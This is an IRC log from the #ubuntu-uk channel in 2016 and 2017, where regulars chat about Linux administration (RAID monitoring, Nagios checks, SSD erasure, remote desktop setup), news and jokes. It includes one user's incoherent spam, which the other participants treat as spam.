<knightwise> MooDoo:  Whahah
<MooDoo> knightwise: what you need to know about excel?
<zmoylan-pi> ordered a book yesterday and was told probably a month...
<davmor2> knightwise: you are right torrents will excell for dummies in 2016
<zmoylan-pi> don't they realise everyone plays d&d?? :-)
<knightwise> davmor2: golden
<knightwise> MooDoo: currently working as a project manager , need to brush up on some sorting an querying skills
<MooDoo> :)
<knightwise> and it won't hurt to know some to do my own fincances
<zmoylan-pi> query: which is the best off shore tax shelter... :-P
<knightwise> Belgium
<knightwise> naah
<knightwise> its not
<knightwise> Luxemburg
<JamesTait> Good morning all!  Happy Friday, and happy Answer Your Cats' Questions Day! ð  ð
<zmoylan-pi> no kitty it's not time to play....... aieeeeee!!!!
<knightwise> "No I don't know why you are plotting to kill me"
<knightwise> and "yest I have noticed"
<zmoylan-pi> the ideal alarm, one that pulls the duvet up at desired time and exposes one foot to your cats attention... try and snooze through that... :-)
<JamesTait> No, it's not time for feeding yet.
<JamesTait> No, it's still not time for feeding yet.
<zmoylan-pi> you want to go out?
<zmoylan-pi> you *don't* want to go out?
<JamesTait> Still not time for feeding.
<zmoylan-pi> repeat door request...
<brobostigon> morning boys and girls.
<diplo> Morning brobostigon, did you get your telegram bot thing working ?
<brobostigon> diplo: it isnt throwing error, but it doesnt seem to be pushing notification either.
<MooDoo> yay i like telegram
 * brobostigon wants notifications from irssi and bitlbee pushed to ubuntu touch.
<diplo> Did you try running telegram-cli as well brobostigon ?
<diplo> Sorry phone went
<brobostigon> umm?
<davmor2> JamesTait: Wednesday https://www.youtube.com/watch?v=vBnsNTBqzWQ and https://www.youtube.com/watch?v=V7vjxhqMPng Thursday https://www.youtube.com/watch?v=lZSbkYjQer8 Thats obviously a hug right your heartbeat next to mine :) Friday https://www.youtube.com/watch?v=YOu-dWhTTWw
<diplo> From my repo, about running it manually install of connecting to a bot
<davmor2> JamesTait: better version for Friday https://www.youtube.com/watch?v=cSTBFZ-To2E
<brobostigon> so push notification directly from my irssi to my phone without the bot in the middle?
<bigcalm> Good morning peeps :)
<diplo> brobostigon: Yup, you basically auth with the CLI as yourself
<diplo> https://github.com/vysheng/tg
<brobostigon>  https://github.com/vysheng/tg
<brobostigon> sorry.
<brobostigon> diplo: how will it help? can you explain please.
<diplo> Well the bots weren't around when I did my thing, but you basically message yourself instead
<diplo> I created a group and messaged a Nagios Group for when I did it
<diplo> The bots may be a better solution if you can get it to work
<brobostigon> ah i see.
<diplo> Me and knightwise were messaging each other over the CLI :)
<brobostigon> :)
<diplo> Just got my first web page up talking to GPIO on my Pi :) turning an led on and off... its the little things :D
<diplo> My sons going to love it
<brobostigon> cool,
<brobostigon> i will do further research as to if there are other solutions to do what i am thinking of doing.
<knightwise> diplo:  ?
<zmoylan-pi> you could make the pi blink notifications to you in morse... :-)
<MartijnVdS> zmoylan-pi: so Cryptonomicon :)
<davmor2> JamesTait: You've gone all silent I hope it wasn't the bombardment of videos :)
<JamesTait> davmor2, not at all. I was waiting for my mum to come home so I could tell her I'm going to Uruguay.
<davmor2> JamesTait: say what?
<davmor2> JamesTait: to live or a sprint
<JamesTait> Just for a week!
<JamesTait> For a sprint.
<davmor2> JamesTait: that's not as exciting then :)
<JamesTait> It is for me!
<davmor2> JamesTait: you'll have to drink mate instead of coffee ;)
<JamesTait> No, davmor2, I'll take a stock of tea like I always do. ð
<JamesTait> But I'll have some mate as well.
<davmor2> JamesTait: just drink mate it will put hairs on your chest :)
<JamesTait> But then how will they learn about tea?
<zmoylan-pi> no, it's a pretentious drink, it gives you airs... :-D
<JamesTait> Ba-dum, tsch!
<JamesTait> Right, LUNCH!
<davmor2> left LUNCH!
<zmoylan-pi> down lunch!
<bigcalm> *belch* lunch!
<bigcalm> Aldi BBQ ribs, yum
<zmoylan-pi> and if you buy the deluxe aldi bbq ribs you find out what animal they came from... :-P
<bigcalm> Tasted like pork to me
 * zmoylan-pi whistles nonchantly...
<bigcalm> Actually, most of the taste was the rather strong bbq sauce
<bigcalm> My tum says that it tasted like sanctification
<davmor2> bigcalm: If you are looking for a snack I can recommend there pot noodles equivalent you need to let it stew though then it tastes amazing :)
<bigcalm> Ribs are a bit more than a snack
<bigcalm> But I'll keep that in mind, ta
<zmoylan-pi> pot noodles are less than a food... :-)
<zmoylan-pi> did you learn nothing from lister in red dwarf?
<Myrtti> ew pot noodles
<davmor2> Myrtti: if they are cooked correctly they are yummy ask popey
<davmor2> zmoylan-pi: don't make me pull my Liam Neeson Impression out of the draw ;)
<brobostigon> is there a way to make bitlbee messages, rather than just being confined to a specific irssi window, show in other windows like normal highlights?
<Myrtti> sure
<Myrtti> I just can't remember how :-D
<Myrtti> it's been a while...
<brobostigon> ah, :)
<davmor2> brobostigon: use a split window view on irssi for highlights and bitlbee maybe then it is always on display?
<brobostigon> davmor2: that wouldnt neccesserily solve the problem, its the behaviour, ie i want bitlbee messages to behave like normal highlights and be interpreted like normal highlights not as confined to a single window.
<brobostigon> seeing those highlights isnt the problem i am trying to solve.
<davmor2> brobostigon: ah sorry misunderstood,  does it flag the name as bitlbee so you know where it has come from if so you can just add a highlight for the word/user,  ie is it like bitlbee: twitter says you suck ;)
<brobostigon> what i am tyring to test, is if the irssi script i was trying to get working last night, behaves differently to normal irssi highlights and to confined highlights within bitlbee to a certain window.
<davmor2> brobostigon: not a direct answer to your question, but I came upon this, trying to figure out why a script didn't start http://www.antonfagerberg.com/blog/my-perfect-irssi-setup/ it covers some bitlbee stuff too not sure how deep if it covers what you are after but might help
<brobostigon> ok, thank you, davmor2
<davmor2> s/if/or if
 * Laney meows
<davmor2> no Laney you can't go early finish off everything you are working on
 * Laney meows louder at davmor2 
 * Laney looks at the tin of tuna on the side
 * Laney meows insistently
<davmor2> no Laney you can't go early finish off everything you are working on and here have the flippin tuna then get back to work
 * zmoylan-pi teaches cat to open tin of catfood accidently starting the feline rebellion...
 * Laney goes to sleep next to the radiator
<diddledan> Laney: too cute!
<svea_> Title: Ubuntu: 2878-1: Perl vulnerability
<svea_> <SecNews> Link: http://www.linuxsecurity.com/content/view/166800?rdf
<svea_> <SecNews> Description: LinuxSecurity.com: Perl incorrectly handled the taint attribute.
<svea_> whats going on?
<diddledan> svea_: youâll have to be more specific than âwhatâs going on?"
<ali1234> anyone now anything about the skylake bug? will the fix affect performance?
<dickbutt_> hi, is there a way of emulating ubuntu phone on windows as i want to try it out
<zleap> http://developer.ubuntu.com/en/apps/sdk/tutorials/using-the-ubuntu-emulator/
<zleap> i was in here anyway (lurking)
#ubuntu-uk 2016-01-23
<mapps> morning;p
<svea_> morning mapps
<knightwise> morning everyone
 * zmoylan-pi peeks out internet window... http://www.carrollsirishgifts.com/livedublinwebcam
<knightwise> exit
<knightwise> exit
<brobostigon> morning boys and girls.
<Nokaji> Hi, I'm looking for some traditional fonts such as copperplate and gothic
<penguin42> Nokaji: fonts-texgyre claims to have a gothic font
<Nokaji> I'll check it out, thanks - seems ubuntu is somewhat lacking in the fonts deartment
<Nokaji> woulda thought there were some free fonts floating around by now we could use
<penguin42> there are loads of free fonts floating about which you sohuld be able to use
<Nokaji> Thanks penguin42, I was somewhat giving up but I'll look deeper
<directhex> does dying light lock up a whole lot for anyone else?
<MooDoo> evening all
<brobostigon> evening MooDoo
<MooDoo> how are you brobostigon ?
<brobostigon> my eczema could be better, however did have a fun night out with my fiance last night. and you?
<penguin42> brobostigon: Mine isn't enjoying the mixture of changeable weather and constant colds
<brobostigon> penguin42: yes, it doesnt help,
<MooDoo> went to see starwars with my son this morning, and the best moment apart from the awesome film was, daddy i need to watch something important today with out fail, Agent Carter.....I'm so proud :)
<brobostigon> :)
#ubuntu-uk 2016-01-24
<mapps> hi;
<mapps> morning;]
<brobostigon> morning boys and girls.
<Myrtti> is there any point in running shred on ssd's?
<diddledan> Myrtti: it would probably either be straight no-op or lessen the lifespan a teeny bit over just removing the file and using trim
<diddledan> either way it wouldnât actually âshredâ a file
<Myrtti> we ended up using hdparms secure clear whatever thing
<diddledan> I think that just forces trim commands to be atomic rather than queued
<diddledan> IANAL tho :-p
<diddledan> queued/batched
<penguin42> secure clear is the only way I'd trust for actually wiping
<diddledan> I think trim on itâs own just tells the drive to remove the data during a maintenance cycle that it schedules internally
<penguin42> or more that it's available if it needs to reuse it later sometime
<diddledan> whereas I think secure clear makes the drive actually do the job immediately
<diddledan> and again, IANAL
<diddledan> aah, secure erase kills the entire drive rather than just bits
<diddledan> https://ata.wiki.kernel.org/index.php/ATA_Secure_Erase
<zmoylan-pi> i thought the way ssd's worked there was no absolute guaranteed way to securely erase a file as wear balancing might write the overwritten variant in a different location on the drive?
<awilkins> Yes, that was my understanding also
<zmoylan-pi> your only real way to do it was to bung in it woodchipper fargo style... :-)
<awilkins> Or make sure you never put unencrypted data on it
<awilkins> Question : does anyone have a reliable recipe for getting 4oD and Demand5 to work on Wily?
 * penguin42 has never managed Demand5
<Myrtti> woo, so I've unknowingly been doing right on my laptop just out of the old Nokia subcontractor habit, while husband did it wrong
<Myrtti> whaddaya know
<brobostigon> :)
#ubuntu-uk 2017-01-16
<daftykins> argh that compression artefacting o0
<zmoylan-pi> a little part of me always hopes that these 8 bit geniuses is committing cyber crime just so when the police raid them they have to go through their entire speccy mag cover tape collection looking for incriminating data... :-P
<davmor2> Morning all
<foobarry> my 3yr old daughter drew a picture for her brother for his birthday
<foobarry> http://imgur.com/nRnfgKh NEVER SLEEP AGAIN
<davmor2> All the people, Zombie people, all walk hand in hand, hand in hand through their dead life!
<davmor2> foobarry: you have a goth in the making, that or your own series of sixth sense and she sees dead people ;)
<foobarry> its just a pretty picture of her family and dog in pink
<davmor2> foobarry: it's not actually that bad a picture :)
<davmor2> foobarry: at least you can tell they are people :)
<brobostigon> morning boys nd girls.
<JamesTait> Good morning all, and happy Blue Monday! ð
 * zmoylan-pi puts on blue monday by new order... https://www.youtube.com/watch?v=FYH8DsU2WCk
<davmor2> JamesTait: now that this has been ruined on 2 channels I'll again go with https://www.youtube.com/watch?v=-Kobdb37Cwc :D
<diplo> Afternoon all, just thought I'd probe here before going to far how you guys would sync a table between 2 mysql servers each night, just a plain old dump and restore in a script ?
<diplo> Not sure it's worth the effort of replication being setup
<Safiyyah> Hi all, I am trying to connect to my desktop remotely using the X2go client
<Safiyyah> I am infront of both machines, it seems that I don't have a complete understanding of the hostname
<Safiyyah> my desktop is called safiyyah-desktop and my laptop is called safiyyah-laptop
<Safiyyah> however that isn't going through
<foobarry> anyone played with raspberry pi/ardunio and motors ? want to perhaps control a knex thing withit
 * brobostigon puts his hand up and says, "arduino"
<popey> Safiyyah: often your home connection router won't resolve them like that, but might if you add ".local" on them, so safiyyah-desktop.local and safiyyah-laptop.laptop
<Safiyyah> that didn't work
<Safiyyah> :(
<foobarry> brobostigon: any exp with knex motors?
<brobostigon> foobarry: last project was to control hydraulic motors. not that i recall, sorry.
<popey> Safiyyah: another option is to set a fixed IP either on each machine or in the dhcp settings on the router (if you have access)
<Safiyyah> popey 1 issue is that they both have the same ip address
<popey> heh
<popey> that's suboptimal
<foobarry> what is the IP?
<foobarry> 169.254...
<foobarry> 127.0.0.1 ...:P
<Safiyyah> 127.0.1.1
<Safiyyah> the local is 127.0.0.0
<Safiyyah> but both machines are on 127.0.1.1
<popey> they probably have more than one IP address
<foobarry> what is your outpout from ifconfig command
<popey> click network manager in the top right, and choose connection information
<popey> look in the tab for your wired or wireless connection
<Safiyyah> that says wired connection 1
<Safiyyah> laptop is on wi-fi
<Safiyyah> calling virginmedia for info on accessing router
<popey> yes, in wired connection 1
<popey> you should see a section "IPv4" and under that "IP Address:"
<popey> that's your computer IP
<popey> you should find similar on the other computer, but it will say the name of the wireless network you're on
<popey> Safiyyah: e.g. http://imgur.com/a/PpNv3
<Safiyyah> popey, yes, I have it and access to my router
<Safiyyah> now it's how to enter the information onto x2go correctly
<diddledan> new pi compute module: https://www.raspberrypi.org/blog/compute-module-3-launch/
 * zmoylan-pi wonders how big the pi compute community is compared to the regular community
<davmor2> zmoylan-pi: more specialised at a guess so I would imagine 20% as many users maybe, but I would imaging that device using pi built in are more likely to be pi compute
<Safiyyah> popey It tried my IP address as a hostname and nothing still
<popey> Safiyyah: sorry, I've never used x2go
<Azelphur> Ah, nothing like waking up in the morning to a dead 5TB drive. :< https://dpaste.de/paxg
<Azelphur> mdadm handled it like a champ though, removed the drive from the array and nagios has bleeted at me
<diddledan> \o/
<Azelphur> ordered another one off ebuyer, drop it in and go in theory, it's a RAID6 so everything is still chugging along
<Laney> i wonder if anything would tell me if one of my raided drives failed
<Safiyyah> popey what do you use?
<popey> I don't :)
<popey> I never have the need to remotely control another desktop.
 * diddledan remotely controls popey's desktop
 * diddledan makes the pointer spell-out rude words
<Azelphur> Laney: depends, whats your setup?
<Laney> Azelphur: md
<Azelphur> Laney: well, when a drive failed mdadm would remove it
<Azelphur> and put the array in a degraded state
<Azelphur> if you don't have anything on top of that to monitor mdadm, then no, you'd never know
<diddledan> ergh. why does sky/nowtv _still_ require silverlight?!
<Laney> I know that md would handle it
<Azelphur> should set up nagios or monit or something to let you know :)
<Laney> Maybe something would stop the boot for example and shout at me
<davmor2> Laney: yes the lack of noise in the room ;)
<diplo> Laney: I used as Azelphur mentioned nagios to monitor a customers raid ( issues with a battery or something ) and got it to send alerts via telegram
<Laney> diplo: it makes me say blerg
<Laney> 10 years ago I would have been all over configuring that
<Laney> now I want something in the system to do it for me by default :(
<popey> pretty sure logwatch used to send me mails about raid failures
<popey> that was near zero setup
<Laney> I could go pull out a drive and see what happens
<davmor2> Laney: still the noise when the noise stops somethings gone wrong ;)
<Laney> something in the boot process or desktop ought to notice imho
<Laney> davmor2: I spent quite some time making this computer very quiet :P
<popey> oh, you don't currently have a failed drive?
<Laney> nope
<popey> pretty sure it does halt boot and put the message on screen
<popey> c to continue, m to manually recover
<Laney> I'm just wondering if I would know if one of them failed
<Laney> nice
<davmor2> Laney: log into it with byobu that tells you the state of raid if you enable the plugin I believe :)
<Laney> I remember some "boot degraded" thing vaguely
<popey> i had that on my home server and had to go and plug a screen in to find out which key to press
<popey> could test this in kvm
<popey> by creating a few disks and then boot with one missing
<diplo> hah I had to do the same popey  :)
<popey> interesting exercise
<Laney> hmm
<Laney> something generic in the desktop would be nice
<Laney> could be a fun project
<Laney> think udisks2 knows about smart and raid stuff
<Laney> just got to surface that
<Laney> mmmmmmmmmm
<diplo> Edit mdadm.conf and stick the device and MAILADDR and then run mdadm --monitor --scan --daemonize
<diplo> Done
<Safiyyah> okay so I got things moving, with SSH I have access to the terminal on the desktop (even on putty) would like a graphical one, help please
<Safiyyah> On x2go I am logging in but not to the live session, is there a way to log into the live session itself? like VNC on the phone?
<daftykins> if anyone signs up to the retail ombudsman website, be prepared for many lulz
<daftykins> i broke their site last night by putting a Â£ symbol in a text field
<davmor2> daftykins: hahahahahahaha
<daftykins> oh and you'll be emailed your password in plain text
<davmor2> daftykins: what's the problem with that, they didn't add it to billboard up and down the country so it's perfectly safe right :D
<daftykins> =]
<diddledan> daftykins: did you try using Bobby Tables' name as your name?
<daftykins> diddledan: i want to reply with that XD
<daftykins> when i signed up right, it set my email to be <generated string>@myname.co.uk - utter madness
<daftykins> he called it a 'glitch' that got fixed this morning
<SebthreeBQM10HD> hi
#ubuntu-uk 2017-01-17
<knightwise> Morning
<SebthreeBQM10HD> hi
<SuperMatt> morning
<SebthreeBQM10HD> SuperMatt, morning
<SuperMatt> Everyone looking forward to their money being heavily devalued today?
<SebthreeBQM10HD> SuperMatt, oh even lower today?
<diplo> Morning all
<SuperMatt> It's gonna be a hard brexit
<zmoylan-pi> seems to be climing atm... https://dwq4do82y8xi7.cloudfront.net/dailyfx/widgetembed/?symbol=FX%3AGBPUSD&interval=D&hidesidetoolbar=0&symboledit=1&toolbarbg=f4f7f9&studies=&hideideas=1&theme=White&timezone=exchange&studies_overrides={}&overrides={}&enabled_features=[]&disabled_features=[]&locale=en&utmsource=www.dailyfx.com&utmmedium=www.dailyfx.com/gbp-usd
<davmor2> Morning all
<diddledan> marnin
<davmor2> diddledan: isn't that a fish
<diddledan> nah, that's a marlin
<davmor2> diddledan: no he is definitely a wizard
<diddledan> nope, merlin :-p
<davmor2> diddledan: nah that is a plane
 * diddledan tries to think of another name
<diddledan> apple app store prices have gone up
<diddledan> http://www.macrumors.com/2017/01/17/apple-hikes-uk-app-store-prices/
<diddledan> bad lip reading: start warts https://www.youtube.com/embed/U9t-slLl30E
<JamesTait> Good morning all! Happy Tuesday, and happy Kid Inventors' Day! ð ð¡
<davmor2> JamesTait: https://www.youtube.com/watch?v=cvn6eYJh-0c
<JamesTait> I don't think that was called for.
<diddledan> this is interesting - early iphone prototypes (pre iphone 1.0) http://sonnydickson.com/2017/01/11/how-apple-picked-what-came-to-be-the-iphone/
<brobostigon> morning boys and girls.
<xnox> tea and cake at 11
<xnox> country suicide at 11:45
<xnox> lunch at 12:30
<popey> here we go :(
<diddledan> has she started?
<popey> yes
<brobostigon> and she has already sprouted trash already.
<diddledan> I wonder if she's triggering article 50 today
<brobostigon> we all might need a very stiff drink if that happens.
<xnox> she will not do that, as we are waiting for the sumpreme court decision
<xnox> execute summary of her speech https://www.youtube.com/watch?v=hFDcoX7s6rE
<xnox> executive summary of her speech https://www.youtube.com/watch?v=hFDcoX7s6rE
<diddledan> that's a tough question first-off from the press
<brobostigon> did the journalist ask, has your nose got bigger pm?
<popey> she dodged it
<popey> of course
<brobostigon> oh dear.
<popey> Oh yay, mister slow, Robert Peston
<diddledan> still avoiding the question
<brobostigon> i think she doesnt realise, dodging questions, doesnt do any good for her reputation, which is already down.
<diddledan> I think European countries are quite scared that we might try to become a tax-haven
<diddledan> the pound is "soaring" https://twitter.com/rubenlightfoot/status/821346617735389184
<foobarry> argggh. cpan
<diddledan> we totally need to meme that
<diddledan> a picture of kirk screaming with the caption "CPAAAAAN"
<Azelphur> lmfa;o
<diddledan> here ya go: https://cdn.meme.am/cache/instances/folder908/500x/74790908.jpg
<diddledan> and here's a tweet of it: https://twitter.com/diddledan/status/821355060206649344
<foobarry> heh
<foobarry> has anyone ever heard of koha?
<diddledan> nope
<foobarry> be glad
<diddledan> I have no idea what an integrated library system is or does
<foobarry> nor me. i still had to install it
<foobarry> and the 60+ cpan deps that weren't in repos
<diddledan> \o/
<foobarry> .......................\o/
<foobarry> ........................|
<foobarry> ......................../\
<foobarry> bah
<popey>  \o/
<diddledan> I think your hips are broken
<foobarry> epic flail
<diddledan> at least the legs are sort of pointing in the right direction - imagine if they were all ==
<foobarry> 76 individual cpan modules to install
<diddledan> ouch
<diddledan> cpan is evil
<foobarry> and fix build fails
<diddledan> no, wait, Perl is evil
<foobarry> its like the 90s all over again
<foobarry> some things are just not very puppetable. and this thing is one
<diddledan> my old place of work has a perl script in a single file doing their entire infrastructure management - moving vms, provisioning IPs, organising backups etc.
<foobarry> xcat is like that. lots of hacky perl scripts writetn by IBM
<foobarry> you look at the code and think, is that in the official package or some numpty wrote that line locally?
<foobarry> its usually 50/50
<SebthreeBQM10HD> hi
<davmor2> SebthreeBQM10HD: hi
<diddledan> xenial
<SebthreeBQM10HD> davmor2, hi
<SebthreeBQM10HD> diddledan, intrepid ibex
 * diddledan waves his xenial because wily waving might be frowned upon
<davmor2> diddledan: man that is a bit random
<davmor2> diddledan: hardy heron because we all know we secretly loved the wallpaper
<diddledan> yup
<diddledan> that wallpaper was epic
<Azelphur> don't suppose anyone here happens to be good at checkmk? I want to simply check a HTTP server is up, they don't make it easy.
<diddledan> checkmk?
<SebthreeBQM10HD> I thinik the intrepid ibex one was awsome at the time
<Azelphur> diddledan: it's an extension to nagios.
<SebthreeBQM10HD> hardy heron not so much, but that was a good on too
<diddledan> aah
<diddledan> in that case then you should be able to use the nagio check_http?
 * diddledan goes looking for a config
<Azelphur> diddledan: yea, it sounds easy, the documentation tells you it's easy, but then doesn't tell you how to do it.
<davmor2> SebthreeBQM10HD: intrepid ibex was a coffee stain someone made look like a goat, hardy was a proper artist doing something artistic and doing a damn good job too :)
<SebthreeBQM10HD> damn of ubuntu was my favourite overall background though, but that's a add on background
<davmor2> Azelphur: just find a video of someone else doing it ;)
<SebthreeBQM10HD> dawn that was ment to say above
<Azelphur> lol
<SebthreeBQM10HD> blubuntu was  ok too but mor so for the theme itself
<davmor2> Azelphur: https://www.youtube.com/watch?v=0KewneiTgJk
<davmor2> Azelphur: there were plenty of others too if that one is no use
<Azelphur> davmor2: sounds fun, will have to watch it all and learn some things
<diplo> What are you trying to achive Azelphur ?
<Azelphur> diplo: monitoring a bunch of HTTP hosts and making sure they are up and that SSL is good
<diddledan> Azelphur: in the config you can use `check_command check_http_ping` on a service assigned either to a group or a host OR on the host directly - the hostname needs to be the address you want to check http of
<diplo> Use nagios alot, but can't say I've used check_mk ( have it downloaded )
<diplo> check_http or check_tcp is what I use
<diplo> http checks whether the server actually returns a http code where as tcp by its name just checks the port :)
<Azelphur> diddledan: hmm, so in main.mk?
<diddledan> Azelphur: e.g. very rudimentary https://paste.ubuntu.com/23817053/
<diplo> Nah he's mentioning the same as me, check_mk is a full blown thing I believe
<diddledan> this is plain nagios config
<diplo> yeah, I think he wants a how with check_mk
<diplo> Do you use check_mk for anything else Azelphur ?
<Azelphur> yea, I was hoping to do it with checkmk
<Azelphur> diplo: tbh this was mostly me doing what my friend told me to do re nagios to get things working, I have a couple of checkmk local checks I've written
<diplo> check_mk in itself is just a plugin afaik so just write a simple config as per diddledan and don't over complicate it for now ?
<diplo> I'll take a look at check_mk tomorrow otherwise
<Azelphur> yea, maybe that's the answer
<Azelphur> still somewhat tempted to use a completely different monitoring solution, but not sure what
<diplo> adiagos is what foobarry uses and I'm trialling atm
<diplo> Based on nagios still but can config in the browser and it looks nicer
<diplo> But nagios does just work, you just need to learn it's up sides and downsides :)
<Azelphur> does look pretty cool
<diplo> If all you want is a notification, just use a plain config, if you want to monitor everything ( packet loss, bandwidth, uptime etc ) it gets more conveluted
<diplo> Right, hair cut time
<KingsQuest> pogo plug open source plug and play printer.  all proceeds go to Vatican cash in indefinitely and cash out for federal and educational use.  Copyright Better than H.91 and C.35 compiler.  have Vatican.va using Dansk 1804-1 with cluster form 90800070600010006 to give the equation on a text file that can be fed using a OCR.   H.91 compilers compile C C1.0 which are cpus and bios that are 9.05 spec bios for comptuers.  popo plug model is open
<KingsQuest> source 3d  UPC 9800065002110-1. .  International Copyright K99-1 (C) 2017.  All Rights Reserved.  payable to whom i stated and legally for indefinite time period.  further discounts for educational and federal use around the world to provide me the best of all possible worlds online and in real life as a classified citizen with special needs immediately as long as bonded and insured 40% more than its time clock use.  it logs everything if
<KingsQuest> federal or education and must be plugged in.   that includes *legal* friendship and the best content and assistance for anything i need as well as discount giveaways in its terms of service to build.
<KingsQuest> cost is $905.98 USD for consumers
<KingsQuest> [****************^(-)]]]]........................................./..[***********************************************(-)]]]]]]]].......................................................................................................................................................................................////////.[***************************************************************************************************************************
<KingsQuest> ***********************************(-)]]]]]]]]]]]////////////////////////////////08012005697215741209560003111109311119431111111108549000111111118431110931118432228866775544111008756003321111118765001111111111111111111111111111////...////[[[[[*****************************************************************************************(-)]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]///////////.////
<KingsQuest> 090001111811187603111841903111043931209111174032111119040003211119000560901=100% solved.  bios cannot be cloned.  prints with 99% more transistor amperage and resistance efficiency with fully working product.  uses clamav with or without internet connection before and after compile.  #1 virus forever.   as daemon and with 900GB storage.  cost of K99-1 computer compiler that kernel.org will have in 90 minutes is $90,876,510USD.  it connects
<KingsQuest> to a core 2 quad 2.33 or greater for most efficient results and does not requires ECC memory on that machine.   it has tech sheets and functions the same as a H.91 or C.35 printer.  it does one other thing.  destroy itself in the event that someone tries to make a illicit classified torture device with it.  tis for computer hardware, speakers, memory printouts for their printer chips, and monitors like LCD's and old CRTS's anything with a
<KingsQuest> eeprom that can also be hooked up with a flasher using a usb 2.0 flasher compatible with linux 3.0.0.3-3 64 bit only and above, education or federal.  All Rights Reserved.  better than my C.35 creation 234098067%.   has one other feature.  benchtests cpu with optional output code for any given cpu or bios with cpu/combination on the computer its being run.  it further works anywhere a American plug can be used.  WORLD WIDE.
<diddledan> joy
<diddledan> anyone around to banhammer that thing?
<diddledan> don't like the guy who won the election ousting you from office? declare a state of emergency 2 days before you cede power: http://www.bbc.co.uk/news/world-africa-38652939
<diddledan> before you're due to cede**
<diddledan> haha: http://libdems.org.uk/corbyn
<diddledan> cat speculates the perfect jump: https://twitter.com/CatotDay/status/821336700165226496
<diddledan> microsoft have started posting internal videos now: https://channel9.msdn.com/Blogs/msedgedev/nolanlaw-web-perf-crisis
<diddledan> oh boy that's a raw nerve: https://twitter.com/charley_ck14/status/821432153883951108
<zmoylan-pi> huzzah chelsea manning got a pardon \o/
<daftykins> :O
<popey> wat!
<popey> wow
<zmoylan-pi> https://www.nytimes.com/2017/01/17/us/politics/obama-commutes-bulk-of-chelsea-mannings-sentence.html?_r=0
<diddledan> yeah, twitter is blowing up right now
<zmoylan-pi> that's were i heard it first... a lot of news i get from irc/twitter first...
<m0nkey_> Hmm, so I'm in a position to buy the HTC Vive VR kit.
<diddledan> don't doo eet
<zmoylan-pi> one of my gamer mates brought the ps4 vr doohickey to our d&d session on the weekend to show the rest of us.  2 of the 4 people trying it got queasy
<diddledan> you've seen lawnmower man, right?! it only ends badly for everyone involved!
<zmoylan-pi> so try before you buy would be my 2c
<diddledan> zmoylan-pi: that's only a 50% failure rate. perfectly acceptible
<zmoylan-pi> unless you're the one responsible for mopping up the puke in which case it's a 200% failure rate
<diddledan> kinda like: https://www.youtube.com/watch?v=Ki7VqBmkf7M
<daftykins> m0nkey_: the low res of that one lets it down, a next gen would likely be better - VR is still in the gimmicky infancy stage
<m0nkey_> And probably more expensive
<daftykins> maybe, but buying what's out there now will be a huge letdown.
<daftykins> assuming you have the hardware to even drive it... and in a room to even use it :)
<m0nkey_> I have both hardware and room
<daftykins> ah well :) not something i'd unsheathe a bargepole for in their current state
<diddledan> BUT LAWNMOWERS!
<SebthreeBQM10HD> hi
#ubuntu-uk 2017-01-18
<SuperMatt> morning
<brobostigon> morning boys and girls.
<davmor2> Morning all
<JamesTait> Good morning all! Happy Wednesday, and happy Winnie the Pooh Day! ð
<davmor2> JamesTait: you see you winnie the pooh but all I here is https://www.youtube.com/watch?v=dJFyz73MRcg
<davmor2> hear even
<diddledan> damn: http://www.bbc.co.uk/news/science-environment-38664225
<foobarry> summary without click?
<diddledan> galileo clocks are dying
<diddledan> "The onboard atomic clocks that drive the satellite-navigation signals on Europe's Galileo network have been failing at an alarming rate."
<davmor2> diddledan: ah it's okay we'll need to launch our own soon what with leaving Europe and we'll do it right and then bill them for using it ;)
<davmor2> we still got Maes robin reliant space shuttle somewhere right?
<diddledan> aye
<foobarry> i've gone dark on news, all social media, and even mostly tech news too. no idea whats happening inthe world
<diddledan> foobarry: Trump is about to break the World so it doesn't matter
<foobarry> one time i did it, there was a big terror attack in paris, alan rickman died, all sorts
<diddledan> foobarry: Carrie Fisher died!
<foobarry> i can do nothing to change it, so not worth finding out
<foobarry> my going dark was post jan 1st
<diddledan> aah
<foobarry> i'm half way through
<foobarry> calibration half way complete
<foobarry> i'm free from the media's attempts to stress us all
<diddledan> what're you calibrating?
<foobarry> my brain
<diddledan> aah
<diddledan> full reset
<foobarry> the media are just trolling ppl. everyone worried about brexit but feel helpless
<daftykins> hmm, this is quite interesting - WD have silently retired their "WD Care Extended" vouchers which added an extra year of warranty onto WD Green, Red and Blue drives
<daftykins> www.wdcare.com doesn't make any mention of this, nor will it - so i just bought the last one in the UK XD
<daftykins> Azelphur: that 5TB WD you had that failed, is that one you picked up in the US so you can't pursue any warranty?
#ubuntu-uk 2017-01-19
<diddledan> morning
<SuperMatt> morning
<CoderEurope> Good moro dear Sirs :D
<CoderEurope> no-one up yet .....
<davmor2> Morning all
<foobarry> o/
<diddledan> ello
<diplo> Moaning all :)
<brobostigon> morning boys and girls.
<JamesTait> Good morning all! Happy Thursday, and happy Get to Know Your Customers Day! ð
<SuperMatt> All of my customers? Christ, that's many
<davmor2> JamesTait: https://www.youtube.com/watch?v=iUrzicaiRLU
<diddledan> get to know your customers. stalk them. sift their trash/rubbish. break into their bedroom while they sleep. turn on their webcam without them knowing. leave dresses neatly laid out on their bed while they're out. murd0r them.
<diddledan> well that turned dark quickly
<diddledan> JamesTait: you're a sicko! :-p
<diddledan> s/sicko/psycho/ maybe?
<JamesTait> Don't... all people do that?
 * JamesTait whistles innocently.
<JamesTait> Squirrel!
<diddledan> :-D
 * JamesTait dashes off.
<diddledan> haha
<davmor2> JamesTait, diddledan: oh I didn't know it was that kinda knowing your customers or I'd of gone with https://www.youtube.com/watch?v=OMOGaugKpzs
<diddledan> haha nice
<davmor2> diddledan: well the police are famous for their Stalker/pervert songs
<foobarry> i just got a segfault from the "host" command :|
<diddledan> well done
<diddledan> is it lunch time yet?
<Laney> is it the weekend yet????
<bittin_> popey: sorry for bugging you :p
<davmor2> bittin_: no you're not, or you wouldn't bug him ;)  What you mean is thanks for letting me bug you :)
<popey> :)
<bittin_> davmor2: :D
<bittin_> then i have something to do tommorow aswell
<popey> bittin_: probably better asking in #ubuntu-release
<popey> it was delayed due to needing more qa on the new hardware enablement stack I believe. I think I saw a mail from Adam Conrad about it
<bittin_> popey: ah alright then i know
<bittin_> thank you
<daftykins> just had my shower ripped out :> https://www.dropbox.com/s/waad9ci3ghyy7ep/IMG_20170119_122051.jpg?dl=0
<daftykins> lovely rotten 17th century wood :P
<foobarry> how do unified remotes work on phones?
<foobarry> https://play.google.com/store/apps/details?id=com.Relmtech.RemotePaid
